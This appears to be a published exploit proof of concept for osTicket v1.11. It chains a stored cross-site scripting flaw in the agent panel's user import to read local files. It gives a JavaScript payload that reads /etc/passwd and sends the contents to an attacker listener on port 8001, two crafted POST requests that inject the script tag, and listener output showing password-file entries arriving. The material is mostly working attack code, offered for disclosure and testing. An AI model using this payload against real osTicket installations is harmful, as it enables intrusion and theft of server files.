osTicket 1.11 - Cross-Site Scripting / Local File Inclusion

# Exploit Title: osTicket v1.11 - Cross-Site Scripting to Local File
Inclusion
# Date: 09.04.2019
# Exploit Author: Özkan Mustafa Akkuş (AkkuS) @ehakkus
# Contact: https://pentest.com.tr
# Vendor Homepage: https://osticket.com
# Software Link: https://github.com/osTicket/osTicket
# References: https://github.com/osTicket/osTicket/pull/4869
#             https://pentest.com.tr/exploits/osTicket-v1-11-XSS-to-LFI.html
# Version: v1.11
# Category: Webapps
# Tested on: XAMPP for Linux
# Description: This is exploit proof of concept as XSS attempt can
# lead to an LFI (Local File Inclusion) attack at osTicket.
##################################################################
# PoC

# There are two different XSS vulnerabilities in the "Import"
field on the Agent Panel - User Directory field. This vulnerability
causes a different vulnerability. The attacker can run the malicious
JS file that he uploads in the XSS vulnerability. Uploaded JS files
can be called clear text. Therefore, attackers do not have to use
a different server to perform an attack. Then it is possible to
create "Local File Inclusion" vulnerability too.

The attacker can upload a JS file as follows.
------------------------------------------------------------------

function readTextFile(file)
{
    var rawFile = new XMLHttpRequest();
    rawFile.open("GET", file, false);
    rawFile.onreadystatechange = function ()
    {
        if(rawFile.readyState === 4)
        {
            if(rawFile.status === 200 || rawFile.status == 0)
            {
                var allText = rawFile.responseText;
                allText.src = 'http://localhost:8001' +
rawFile.responseText;
                document.body.appendChild(allText);
            }
        }
    }
    rawFile.send(null);
}

readTextFile("/etc/passwd");

------------------------------------------------------------------

# Smilar JS File Link;

/upload/file.php?key=y3cxcoxqv8r3miqczzj5ar8rhm1bhcbm
&expires=1554854400&signature=be5cea87c37d7971e0c54164090a391066ecbaca&id=36"

After this process, we can run the JS file in XSS vulnerability.


# Our First Request for XSS to LFI;
------------------------------------------------------------------

POST /upload/scp/users.php?do=import-users
Host: localhost
Content-Type: multipart/form-data; boundary=---------------------------[]


-----------------------------[]
Content-Disposition: form-data; name="__CSRFToken__"

8f6f85b8d76218112a53f909692f3c4ae7768b39
-----------------------------[]
Content-Disposition: form-data; name="pasted"


-----------------------------[]
Content-Disposition: form-data; name="import"; filename="users-20190408.csv"
Content-Type: text/csv

<script src="
http://localhost/4/osTicket-v1.11/upload/file.php?key=y3cxcoxqv8r3miqczzj5ar8rhm1bhcbm&expires=1554854400&signature=be5cea87c37d7971e0c54164090a391066ecbaca&id=36
"></script>

-----------------------------[]--




# Our Second Request for XSS to LFI;
------------------------------------------------------------------
POST /upload/scp/ajax.php/users/import HTTP/1.1
Host: localhost

__CSRFToken__=8f6f85b8d76218112a53f909692f3c4ae7768b39&pasted=%3Cscript+src%3D%22http%3A%2F%2Flocalhost%2F4%2FosTicket-v1.11%2Fupload%2Ffile.php%3Fkey%3Dy3cxcoxqv8r3miqczzj5ar8rhm1bhcbm%26expires%3D1554854400%26signature%3Dbe5cea87c37d7971e0c54164090a391066ecbaca%26id%3D36%22%3E%3C%2Fscript%3E&undefined=Import+Users
------------------------------------------------------------------


# After sending XSS requests,
# When the attacker listens to port 8001, he/she will receive a request as
follows.

root@AkkuS:~# python -m SimpleHTTPServer 8001
Serving HTTP on 0.0.0.0 port 8001 ...
127.0.0.1 - - [09/Apr/2019 11:54:42] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [09/Apr/2019 11:54:42] "GET
/root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin...[More]